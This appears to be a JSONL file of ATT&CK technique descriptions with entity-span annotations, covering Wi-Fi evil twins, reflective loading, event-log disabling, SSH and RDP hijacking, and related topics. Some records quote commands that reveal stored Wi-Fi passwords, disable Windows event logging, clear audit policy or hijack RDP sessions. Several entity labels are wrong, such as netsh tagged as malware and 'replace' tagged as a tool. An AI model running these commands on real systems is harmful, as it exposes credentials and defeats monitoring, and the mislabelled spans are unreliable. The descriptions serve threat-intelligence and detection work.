+{"text": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture.\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.  Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.  A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.  Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.", "spans": {}, "info": {"source": "apt_reports", "name": "Evil Twin"}}
+{"text": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode). For example, the `Assembly.Load()` method executed by PowerShell may be abused to load raw code into the running process.\n\nReflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.", "spans": {"TOOL: PowerShell": [[534, 544]], "VULNERABILITY: code injection": [[614, 628]]}, "info": {"source": "apt_reports", "name": "Reflective Code Loading"}}
+{"text": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Account Discovery, Remote System Discovery, and other discovery or Credential Access activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password. Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` Native API functions.\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`. On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).", "spans": {"FILEPATH: /etc/NetworkManager/system-connections/`.": [[953, 994]], "SYSTEM: macOS": [[998, 1003]], "SYSTEM: Windows": [[414, 421]], "SYSTEM: Linux": [[833, 838]], "MALWARE: netsh": [[527, 532], [588, 593]]}, "info": {"source": "apt_reports", "name": "Wi-Fi Discovery"}}
+{"text": "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes. By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.", "spans": {"SYSTEM: Linux": [[594, 599]]}, "info": {"source": "apt_reports", "name": "Mutual Exclusion"}}
+{"text": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.  These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, PowerShell `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.", "spans": {"TOOL: PowerShell": [[520, 530]]}, "info": {"source": "apt_reports", "name": "Ignore Process Interrupts"}}
+{"text": "Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.\n\nThere are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.", "spans": {"SYSTEM: ESXi": [[1294, 1298]]}, "info": {"source": "apt_reports", "name": "Escape to Host"}}
+{"text": "Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as Data Destruction, Inhibit System Recovery, or Data Encrypted for Impact.  \n\nCommands that can be used to obtain security software information are netsh, `reg query` with Reg, `dir` with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.", "spans": {"TOOL: cmd": [[371, 374]], "MALWARE: netsh": [[331, 336]], "MALWARE: Tasklist": [[380, 388]]}, "info": {"source": "apt_reports", "name": "Backup Software Discovery"}}
+{"text": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.", "spans": {"TOOL: replace": [[689, 696]]}, "info": {"source": "apt_reports", "name": "Shortcut Modification"}}
+{"text": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used. For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.", "spans": {}, "info": {"source": "apt_reports", "name": "Application Window Discovery"}}
+{"text": "Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications.   \n\nAdversaries may use systemctl to execute commands or programs as Systemd Services. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.", "spans": {"SYSTEM: Linux": [[117, 122]], "MALWARE: systemd": [[104, 111]]}, "info": {"source": "apt_reports", "name": "Systemctl"}}
+{"text": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "spans": {}, "info": {"source": "apt_reports", "name": "Standard Cryptographic Protocol"}}
+{"text": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).\n\nIn on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.", "spans": {"TOOL: PowerShell": [[247, 257]], "SYSTEM: Exchange Online": [[191, 206]], "SYSTEM: Outlook": [[417, 424], [479, 486]], "SYSTEM: Microsoft Outlook": [[407, 424], [469, 486]], "ORGANIZATION: Microsoft": [[407, 416], [469, 478]], "ORGANIZATION: Google": [[366, 372], [443, 449], [522, 528]]}, "info": {"source": "apt_reports", "name": "Email Account"}}
+{"text": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.  It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen.  A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system.  A malicious hypervisor of this nature could be used to persist on systems through interruption.", "spans": {}, "info": {"source": "apt_reports", "name": "Hypervisor"}}
+{"text": "Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. \n\nAdversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.", "spans": {}, "info": {"source": "apt_reports", "name": "Time Based Checks"}}
+{"text": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. \n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "spans": {"VULNERABILITY: privilege escalation": [[462, 482]]}, "info": {"source": "apt_reports", "name": "AppCert DLLs"}}
+{"text": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.  CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands.  Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs   and/or COM scriptlets (SCT) from remote servers.    This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "spans": {"TOOL: CMSTP": [[22, 27], [118, 123], [209, 214], [377, 382], [473, 478], [662, 667], [729, 734]], "ORGANIZATION: Microsoft": [[70, 79], [717, 726]]}, "info": {"source": "apt_reports", "name": "CMSTP"}}
+{"text": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.\n\nSSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.", "spans": {"TOOL: SSH": [[43, 46], [110, 113], [534, 537], [642, 645], [764, 767], [797, 800], [831, 834], [866, 869]], "SYSTEM: macOS": [[165, 170]], "SYSTEM: Linux": [[155, 160]]}, "info": {"source": "apt_reports", "name": "SSH Hijacking"}}
+{"text": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more. This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings. <code>auditpol.exe</code> may also be used to set audit policies.\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>). Additionally, the service may be disabled by modifying the “Start” value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog. Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.\n\nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category. To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "spans": {"SYSTEM: WMI": [[1738, 1741], [1974, 1977], [2074, 2077]], "SYSTEM: Windows": [[24, 31], [109, 116], [1032, 1039], [2746, 2753]]}, "info": {"source": "apt_reports", "name": "Disable Windows Event Logging"}}
+{"text": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.", "spans": {}, "info": {"source": "apt_reports", "name": "Scheduled Transfer"}}
+{"text": "Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.", "spans": {"SYSTEM: macOS": [[399, 404]], "SYSTEM: NTLM": [[1133, 1137]], "SYSTEM: SMB": [[103, 106], [172, 175], [301, 304], [424, 427], [809, 812], [1017, 1020]], "SYSTEM: Windows": [[233, 240], [450, 457], [1072, 1079]], "SYSTEM: Linux": [[389, 394]]}, "info": {"source": "apt_reports", "name": "SMB/Windows Admin Shares"}}
+{"text": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.\n\nA tool has been developed to facilitate planting backdoors in cloud container images. If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.", "spans": {"SYSTEM: Google Cloud": [[191, 203]], "SYSTEM: Amazon Web Services": [[135, 154]], "SYSTEM: Docker": [[290, 296]], "SYSTEM: GCP": [[214, 217]], "SYSTEM: AWS": [[156, 159], [761, 764]], "SYSTEM: Azure": [[231, 236]], "ORGANIZATION: Amazon": [[135, 141], [161, 167]], "ORGANIZATION: Google": [[191, 197]]}, "info": {"source": "apt_reports", "name": "Implant Internal Image"}}
+{"text": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel. \n\nProtocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets. \n\nAdversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.", "spans": {"TOOL: SSH": [[750, 753], [779, 782], [860, 863]], "TOOL: RDP": [[536, 539]], "SYSTEM: SMB": [[531, 534]], "SYSTEM: VPN": [[403, 406]]}, "info": {"source": "apt_reports", "name": "Protocol Tunneling"}}
+{"text": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function. For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. \n\nMalicious Control Panel items can be delivered via Phishing campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.", "spans": {"SYSTEM: Windows": [[80, 87], [1144, 1151]], "ORGANIZATION: Microsoft": [[1134, 1143]]}, "info": {"source": "apt_reports", "name": "Control Panel"}}
+{"text": "Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities.  In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.", "spans": {}, "info": {"source": "apt_reports", "name": "Network Address Translation Traversal"}}
+{"text": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "spans": {"TOOL: PsExec": [[311, 317]], "SYSTEM: GitHub": [[772, 778], [1057, 1063]]}, "info": {"source": "apt_reports", "name": "Upload Tool"}}
+{"text": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.", "spans": {"SYSTEM: Windows": [[95, 102], [291, 298], [725, 732]]}, "info": {"source": "apt_reports", "name": "Security Support Provider"}}
+{"text": "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges. \n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc/<PID>/cmdline` and displayed by tools like `ps`.", "spans": {"FILEPATH: /etc/passwd`).": [[421, 435]], "FILEPATH: /proc/<PID>/cmdline`": [[529, 549], [1184, 1204]], "SYSTEM: Linux": [[131, 136], [452, 457]]}, "info": {"source": "apt_reports", "name": "Overwrite Process Arguments"}}
+{"text": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.  \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: \n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "spans": {"SYSTEM: Windows": [[18, 25], [217, 224], [294, 301]], "ORGANIZATION: Microsoft": [[207, 216], [284, 293]]}, "info": {"source": "apt_reports", "name": "Winlogon Helper DLL"}}
+{"text": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.", "spans": {"ORGANIZATION: VirusTotal": [[847, 857]]}, "info": {"source": "apt_reports", "name": "Binary Padding"}}
+{"text": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "spans": {"SYSTEM: Kerberos": [[80, 88]]}, "info": {"source": "apt_reports", "name": "Use Alternate Authentication Material"}}
+{"text": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).  There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. \n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user.  This can be done remotely or locally and with active or disconnected sessions.  It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf.", "spans": {"TOOL: RDP": [[247, 250], [452, 455], [649, 652], [679, 682], [788, 791]], "TOOL: expand": [[463, 469]], "TOOL: Remote Desktop Protocol": [[222, 245]], "SYSTEM: Windows": [[1462, 1469]], "ORGANIZATION: Microsoft": [[176, 185]], "VULNERABILITY: session hijacking": [[792, 809]]}, "info": {"source": "apt_reports", "name": "Remote Desktop Protocol"}}
+{"text": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "Threat Intel Vendors"}}
+{"text": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Other Network Medium"}}
+{"text": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.", "spans": {}, "info": {"source": "apt_reports", "name": "Network Device Configuration Dump"}}
+{"text": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).", "spans": {}, "info": {"source": "apt_reports", "name": "Gather Victim Identity Information"}}
